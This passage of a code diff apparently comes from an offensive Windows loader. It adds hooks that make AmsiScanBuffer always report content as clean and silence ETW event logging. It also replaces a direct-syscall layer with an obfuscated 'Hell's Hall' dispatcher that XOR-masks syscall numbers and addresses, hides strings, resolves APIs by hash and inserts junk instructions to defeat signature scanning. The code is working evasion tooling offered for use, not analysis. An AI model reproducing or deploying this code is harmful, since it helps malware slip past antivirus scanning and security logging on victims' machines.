|
||||
|
||||
// Saving the old function
|
||||
PVOID pTmp = VirtualAlloc(NULL, TRAMPOLINE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (pTmp == NULL)
|
||||
{
|
||||
DBG(" VirtualAlloc failed for backup: %lu", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(pTmp, pHookedFunction, TRAMPOLINE_SIZE);
|
||||
*pOriginalFunc = pTmp;
|
||||
|
||||
// Changing memory permissions for the function you want to hook
|
||||
if (!VirtualProtect(pHookedFunction, TRAMPOLINE_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect))
|
||||
{
|
||||
DBG(" VirtualProtect failed: %lu", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
DBG(" VirtualProtect OK — old protection: 0x%lX (%lu)", dwOldProtect, dwOldProtect);
|
||||
|
||||
// Write using volatile pointer to prevent compiler from optimizing the write away
|
||||
volatile BYTE *dst = (volatile BYTE *)pHookedFunction;
|
||||
for (int i = 0; i < TRAMPOLINE_SIZE; i++)
|
||||
{
|
||||
dst[i] = uTrampoline[i];
|
||||
}
|
||||
|
||||
// Flush instruction cache so the CPU picks up the new bytes
|
||||
FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE);
|
||||
|
||||
// Verify the write actually landed
|
||||
{
|
||||
BYTE *p = (BYTE *)pHookedFunction;
|
||||
DBG(" AFTER: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
|
||||
p[0], p[1], p[2], p[3], p[4], p[5], p[6],
|
||||
p[7], p[8], p[9], p[10], p[11], p[12]);
|
||||
|
||||
if (p[0] != 0x49 || p[1] != 0xBA)
|
||||
{
|
||||
DBG(" !!! WRITE VERIFICATION FAILED — bytes unchanged. Trying WriteProcessMemory fallback...");
|
||||
SIZE_T written = 0;
|
||||
if (WriteProcessMemory((HANDLE)-1, pHookedFunction, uTrampoline, TRAMPOLINE_SIZE, &written))
|
||||
{
|
||||
DBG(" WriteProcessMemory OK — %llu bytes written", (unsigned long long)written);
|
||||
FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE);
|
||||
|
||||
// Re-check
|
||||
if (p[0] != 0x49 || p[1] != 0xBA)
|
||||
{
|
||||
DBG(" !!! WriteProcessMemory also failed to stick. Page may be protected by CIG/ACG.");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
DBG(" WriteProcessMemory failed: %lu", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DBG(" Trampoline verified and set!");
|
||||
|
||||
// Assigning values
|
||||
*dwOldProt = dwOldProtect;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
BOOL RemoveTrampoline(IN PVOID pHookedFunc, IN PVOID pOriginalFunction, IN DWORD dwOldProtect)
|
||||
{
|
||||
DWORD dwNewProtect = 0,
|
||||
dwOldProtection = 0;
|
||||
|
||||
// Setting the original function
|
||||
memcpy(pHookedFunc, pOriginalFunction, TRAMPOLINE_SIZE);
|
||||
|
||||
// Restoring the old protetion values
|
||||
if (!VirtualProtect(pHookedFunc, TRAMPOLINE_SIZE, dwOldProtect, &dwNewProtect))
|
||||
{
|
||||
DBG("Failed to restore memory protection: %lu", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
// Function to just RET when a hooked function is called
|
||||
VOID BlockExecutionFlow(PCONTEXT pCtx)
|
||||
{
|
||||
// Altering execution flow by placing the instruction pointer to the RetStub
|
||||
pCtx->Rip = (ULONG_PTR)&RetStub;
|
||||
}
|
||||
|
||||
|
||||
HRESULT WINAPI ProxyAmsi(HAMSICONTEXT ctx, PVOID buf, ULONG len, LPCWSTR name, HAMSISESSION sess, AMSI_RESULT *pRes)
|
||||
{
|
||||
// Changing the return value
|
||||
*pRes = AMSI_RESULT_CLEAN;
|
||||
// returning SUCCESS code
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw)
|
||||
{
|
||||
PVOID pOriginalEtwFunc = NULL,
|
||||
pEtwpEventWriteFull = NULL,
|
||||
pOriginalAmsiFunc = NULL;
|
||||
|
||||
DWORD dwOldProtectAmsi = 0,
|
||||
dwOldProtectEtw = 0;
|
||||
|
||||
if (bypassEtw) {
|
||||
HMODULE hNtdll = (HMODULE)GetModuleHandleH(#-NTDLL_VALUE-#);
|
||||
|
||||
DBG("Fetching EtwpEventWriteFull..");
|
||||
|
||||
/* 1. EtwpEventWriteFull -- private, found via byte scan (original TrampoLatte) */
|
||||
GetEtwpEventWriteFull(&pEtwpEventWriteFull);
|
||||
if (pEtwpEventWriteFull) {
|
||||
if (!TrampolineX64(pEtwpEventWriteFull, RetStub, &pOriginalEtwFunc, &dwOldProtectEtw))
|
||||
{
|
||||
DBG("Failed to trampoline EtwpEventWriteFull");
|
||||
}
|
||||
else
|
||||
{
|
||||
DBG("EtwpEventWriteFull is now hooked at 0x%p", pEtwpEventWriteFull);
|
||||
DBG("dwOldProtectEtw value: %lu", dwOldProtectEtw);
|
||||
}
|
||||
} else {
|
||||
DBG("Could not locate EtwpEventWriteFull, skipping");
|
||||
}
|
||||
|
||||
DBG("ETW hooking phase complete");
|
||||
}
|
||||
|
||||
if (bypassAmsi) {
|
||||
/* Force-load amsi.dll if not already present.
|
||||
* String is built on the stack -- no static "amsi.dll" in the binary. */
|
||||
HMODULE hAmsi = (HMODULE)GetModuleHandleH(#-AMSI_VALUE-#);
|
||||
if (!hAmsi) {
|
||||
char amsi[] = { 'a'^0x5,'m'^0x5,'s'^0x5,'i'^0x5,
|
||||
'.'^0x5,'d'^0x5,'l'^0x5,'l'^0x5, 0 };
|
||||
for (int i = 0; amsi[i]; i++) amsi[i] ^= 0x5;
|
||||
hAmsi = LoadLibraryA(amsi);
|
||||
}
|
||||
if (!hAmsi) {
|
||||
DBG("Failed to load AMSI.DLL");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* Resolve AmsiScanBuffer via API hashing -- no IAT entry */
|
||||
PVOID pAmsiScanBuff = (PVOID)GetProcAddressH(hAmsi, #-AMSISCANBUFFER_VALUE-#);
|
||||
if (pAmsiScanBuff == NULL) {
|
||||
DBG("Failed to get AmsiScanBuffer");
|
||||
return FALSE;
|
||||
}
|
||||
DBG("Found AmsiScanBuffer at 0x%p", pAmsiScanBuff);
|
||||
|
||||
if (!TrampolineX64(pAmsiScanBuff, ProxyAmsi, (PVOID *)&g_pOriginalAmsiFunc, &dwOldProtectAmsi))
|
||||
{
|
||||
DBG("Failed to trampoline AmsiScanBuffer");
|
||||
return FALSE;
|
||||
}
|
||||
DBG("AmsiScanBuffer is now hooked");
|
||||
DBG("dwOldProtectAmsi value: %lu", dwOldProtectAmsi);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/*
|
||||
* trampoline.h
|
||||
*
|
||||
* AMSI & ETW bypass via x64 trampoline hooks.
|
||||
* Adapted from TrampoLatté (github.com/MochaByte/TrampoLatte).
|
||||
*
|
||||
* InstallTrampolines
|
||||
* bypassAmsi – hook AmsiScanBuffer -> always return AMSI_RESULT_CLEAN
|
||||
* bypassEtw – hook EtwpEventWriteFull -> silent no-op return
|
||||
*
|
||||
* Returns TRUE on success (or when both flags are FALSE).
|
||||
*/
|
||||
BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw);
|
||||
@@ -89,7 +89,6 @@ LPVOID MapNtdll() {
|
||||
NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY);
|
||||
if (!NT_SUCCESS(status2)) {
|
||||
//printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError());
|
||||
getchar();
|
||||
return NULL;
|
||||
}
|
||||
return pntdll;
|
||||
|
||||
@@ -1,123 +1,70 @@
|
||||
; ===============================================================
|
||||
; NASM x64 version of your assembly.
|
||||
; Save as "whispers-asm.nasm", for example.
|
||||
; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj
|
||||
; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe
|
||||
; ===============================================================
|
||||
bits 64
|
||||
default rel
|
||||
|
||||
bits 64 ; 64-bit code
|
||||
default rel ; Use RIP-relative addressing by default
|
||||
; XOR keys — values in .data are stored masked so plaintext never sits on disk
|
||||
%define KEY_SSN 0xD3C97B2F
|
||||
%define KEY_ADDR 0xD3C97B2FD3C97B2F
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; .data — stored as (realValue ^ key); decoded at dispatch time
|
||||
; ---------------------------------------------------------------------------
|
||||
section .data
|
||||
dwSSN dd 0
|
||||
qAddr dq 0
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; .text
|
||||
; ---------------------------------------------------------------------------
|
||||
section .text
|
||||
|
||||
; Export the labels so your C code can call them
|
||||
global NTAVM
|
||||
global NTPVM
|
||||
global NTWVM
|
||||
global NTQAT
|
||||
|
||||
; Declare external symbols (the calls to these are in your code)
|
||||
extern SW3_GetSyscallNumber
|
||||
extern SW3_GetRandomSyscallAddress
|
||||
; ---------------------------------------------------------------------------
|
||||
; SetConfig(WORD wSSN [ecx], PVOID pSyscallInst [rdx])
|
||||
; XOR-masks both values before storing so .data never holds plaintext.
|
||||
; ---------------------------------------------------------------------------
|
||||
global SetConfig
|
||||
SetConfig:
|
||||
push rax
|
||||
xor ecx, KEY_SSN ; mask SSN before store
|
||||
mov dword [rel dwSSN], ecx
|
||||
mov rax, KEY_ADDR ; mask address before store
|
||||
xor rdx, rax
|
||||
mov qword [rel qAddr], rdx
|
||||
pop rax
|
||||
ret
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTAVM
|
||||
; HellHall dispatch — four typed aliases, one body
|
||||
;
|
||||
; Obfuscation applied:
|
||||
; • address decoded into r11 BEFORE eax is set (avoids rax clobber)
|
||||
; • push r11 / ret replaces jmp [qAddr] — no indirect-jump byte pattern
|
||||
; • junk ops interspersed to break byte-signature matching
|
||||
; ---------------------------------------------------------------------------
|
||||
NTAVM:
|
||||
mov [rsp + 8], rcx ; Save registers
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
global HellHall_NtAVM
|
||||
global HellHall_NtPVM
|
||||
global HellHall_NtWVM
|
||||
global HellHall_NtQAT
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0xC189CD1E ; Load function hash into ECX
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax ; Save the address of the syscall
|
||||
|
||||
mov ecx, 0xC189CD1E ; Re-load function hash (optional)
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8] ; Restore registers
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11 ; Jump to -> Invoke system call
|
||||
HellHall_NtAVM:
|
||||
HellHall_NtPVM:
|
||||
HellHall_NtWVM:
|
||||
HellHall_NtQAT:
|
||||
mov r10, rcx ; NT ABI: first arg → r10
|
||||
and r8d, r8d ; [junk] dead flag test on arg3
|
||||
mov r11, qword [rel qAddr] ; load masked address
|
||||
mov rax, KEY_ADDR ; decode key (rax free — eax not set yet)
|
||||
xor r11, rax ; r11 = real syscall instruction address
|
||||
or r9d, r9d ; [junk] dead flag test on arg4
|
||||
mov eax, dword [rel dwSSN] ; load masked SSN
|
||||
xor eax, KEY_SSN ; eax = real SSN
|
||||
push r11 ; push target onto stack …
|
||||
ret ; … ret pops it → no jmp pattern
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTPVM
|
||||
; RetStub — ETW trampoline bypass: returns STATUS_SUCCESS (RAX = 0)
|
||||
; ---------------------------------------------------------------------------
|
||||
NTPVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x159D0313 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x159D0313 ; Re-load function hash
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTWVM
|
||||
; ---------------------------------------------------------------------------
|
||||
NTWVM:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x83179B97 ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x83179B97
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; NTQAT
|
||||
; ---------------------------------------------------------------------------
|
||||
NTQAT:
|
||||
mov [rsp + 8], rcx
|
||||
mov [rsp + 16], rdx
|
||||
mov [rsp + 24], r8
|
||||
mov [rsp + 32], r9
|
||||
|
||||
sub rsp, 0x28
|
||||
mov ecx, 0x88AE129F ; Load function hash
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov r11, rax
|
||||
|
||||
mov ecx, 0x88AE129F
|
||||
call SW3_GetSyscallNumber
|
||||
|
||||
add rsp, 0x28
|
||||
mov rcx, [rsp + 8]
|
||||
mov rdx, [rsp + 16]
|
||||
mov r8, [rsp + 24]
|
||||
mov r9, [rsp + 32]
|
||||
mov r10, rcx
|
||||
jmp r11
|
||||
|
||||
; End of file
|
||||
global RetStub
|
||||
RetStub:
|
||||
neg rax ; [junk] overwritten by xor below
|
||||
xor eax, eax
|
||||
ret
|
||||
|
||||
@@ -1,278 +1,6 @@
|
||||
/*
|
||||
* whispers.c — SysWhispers3 replaced by Hell's Hall.
|
||||
* This file is kept so the Makefile does not need changes.
|
||||
* All syscall logic is in hellhall.c.
|
||||
*/
|
||||
#include "whispers.h"
|
||||
#include <stdio.h>
|
||||
|
||||
//#define DEBUG
|
||||
|
||||
#define JUMPER
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
|
||||
return (PVOID)__readfsdword(0xC0);
|
||||
}
|
||||
|
||||
__declspec(naked) BOOL local_is_wow64(void)
|
||||
{
|
||||
__asm {
|
||||
mov eax, fs:[0xc0]
|
||||
test eax, eax
|
||||
jne wow64
|
||||
mov eax, 0
|
||||
ret
|
||||
wow64:
|
||||
mov eax, 1
|
||||
ret
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW3_SYSCALL_LIST SW3_SyscallList;
|
||||
|
||||
// SEARCH_AND_REPLACE
|
||||
#ifdef SEARCH_AND_REPLACE
|
||||
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
|
||||
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
|
||||
#endif
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW3_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
|
||||
Hash ^= PartialName + SW3_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#ifndef JUMPER
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
#else
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
DWORD searchLimit = 512;
|
||||
PVOID SyscallAddress;
|
||||
|
||||
#ifdef _WIN64
|
||||
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
|
||||
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x12;
|
||||
#else
|
||||
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
|
||||
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x0f;
|
||||
#endif
|
||||
|
||||
#ifdef _M_IX86
|
||||
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
|
||||
if (local_is_wow64())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[+] Running 32-bit app on x64 (WOW64)\n");
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
// we don't really care if there is a 'jmp' between
|
||||
// NtApiAddress and the 'syscall; ret' instructions
|
||||
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
|
||||
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
// we can use the original code for this system call :)
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// the 'syscall; ret' intructions have not been found,
|
||||
// we will try to use one near it, similarly to HalosGate
|
||||
|
||||
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
|
||||
{
|
||||
// let's try with an Nt* API below our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall + num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// let's try with an Nt* API above our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall - num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Syscall Opcodes not found!\n");
|
||||
#endif
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
BOOL SW3_PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW3_SyscallList.Count) return TRUE;
|
||||
|
||||
#ifdef _WIN64
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
|
||||
#else
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
|
||||
#endif
|
||||
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
|
||||
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
|
||||
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate SW3_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 0x775a)
|
||||
{
|
||||
Entries[i].Hash = SW3_HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
|
||||
|
||||
i++;
|
||||
if (i == SW3_MAX_ENTRIES) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW3_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SW3_SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return -1;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return SW3_SyscallList.Entries[i].SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
|
||||
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
|
||||
// Spoofing the syscall return address
|
||||
index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
}
|
||||
return SW3_SyscallList.Entries[index].SyscallAddress;
|
||||
}
|
||||
|
||||
@@ -1,100 +1,5 @@
|
||||
/*
|
||||
* whispers.h — shim; implementation replaced by Hell's Hall (hellhall.h/.c)
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW3_HEADER_H_
|
||||
#define SW3_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifndef _NTDEF_
|
||||
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
|
||||
typedef NTSTATUS* PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#define SW3_SEED 0x51EBD349
|
||||
#define SW3_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW3_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
|
||||
#define SW3_MAX_ENTRIES 600
|
||||
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW3_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
PVOID SyscallAddress;
|
||||
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW3_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
|
||||
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW3_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW3_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
} SW3_PEB, *PSW3_PEB;
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW3_PopulateSyscallList();
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
|
||||
|
||||
EXTERN_C NTSTATUS NTAVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NTPVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID * BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG NewProtect,
|
||||
OUT PULONG OldProtect);
|
||||
|
||||
EXTERN_C NTSTATUS NTWVM(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN PVOID Buffer,
|
||||
IN SIZE_T NumberOfBytesToWrite,
|
||||
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NTQAT(
|
||||
